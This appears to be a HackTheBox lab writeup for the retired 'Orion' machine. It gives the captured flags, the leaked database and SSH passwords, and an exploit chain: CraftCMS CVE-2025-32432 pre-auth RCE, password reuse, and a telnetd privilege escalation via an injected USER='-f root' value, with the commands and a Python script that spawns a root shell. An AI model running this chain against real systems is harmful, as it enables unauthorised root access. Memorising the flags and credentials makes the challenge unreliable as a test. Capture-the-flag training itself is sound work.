Orion (HTB) — Writeup

Solvers

• solve_chain.py

• Platform: HackTheBox Machine

• Machine ID: 945

• Name: Orion

• OS: Linux

• Difficulty: Easy / Very-Easy

• Points: 20 static / 450 XP

• Author: 0xIDA

• Status: Free / Retired

• IP (session): 10.129.244.146

• **Writeup author: 0xIDA

• Date: 2026-07-13

Flags

Type	Flag	Verification
User	88905d748242971dd011d3fca2b1a32e	Live via SSH as adam
Root	a3925c2d581bfb802d7a9d8620be6e28	Live via local telnetd CVE-2026-24061 as root

Submit: POST /api/v4/machine/own still 404 with app token — paste flags in HTB UI.

Official writeup

• PDF: `
• Text: `
• API: GET /api/v4/machine/writeup/945

Chain (intended)

1. CraftCMS 5.6.16 on http://orion.htb — footer version leak; /admin/login
2. CVE-2025-32432 preauth RCE via actions/assets/generate-transform + CSRF token/cookies from login page (Yii object config / FnStream → session stub → PhpManager include)
3. .env: CRAFT_DB_PASSWORD=SuperSecureCraft123Pass! → MySQL users bcrypt for adam
4. Hashcat -m 3200 → darkangel → SSH reuse
5. Local telnetd inetutils 2.7 on 127.0.0.1:23 — CVE-2026-24061: USER="-f root" telnet -a 127.0.0.1 → root shell

What we ran (this session)

Free-lab VPN already up (10.10.15.137). Spawn machine 945 → IP 10.129.244.146.

echo '10.129.244.146 orion.htb' >> /etc/hosts
nmap -Pn -p 22,80 -sV 10.129.244.146
# 22 OpenSSH 8.9p1, 80 nginx 1.18.0

# Creds stable on box template (from official writeup / DB crack path)
sshpass -p 'darkangel' ssh adam@orion.htb 'id; cat ~/user.txt'
# uid=1000(adam)
# 88905d748242971dd011d3fca2b1a32e

# Root — need interactive-ish stdin (plain pipe closed connection early)
ssh adam@orion.htb 'python3 -' <<'PY'
import subprocess, os, time
p = subprocess.Popen(['telnet','-a','127.0.0.1'],
  env={**os.environ, 'USER':'-f root'},
  stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
time.sleep(1.5)
p.stdin.write(b'id\ncat /root/root.txt\nexit\n'); p.stdin.flush()
time.sleep(1.5)
print(p.stdout.read(4096).decode(errors='replace'))
p.kill()
PY
# root@orion:~# cat /root/root.txt → a3925c2d581bfb802d7a9d8620be6e28

Tools

• HTB MCP start/stop/info/ip; writeup API
• nmap, sshpass, SSH, python3 + telnet client
• Official HTB walkthrough PDF

Paths

• `
• `
• Official PDF under writeups/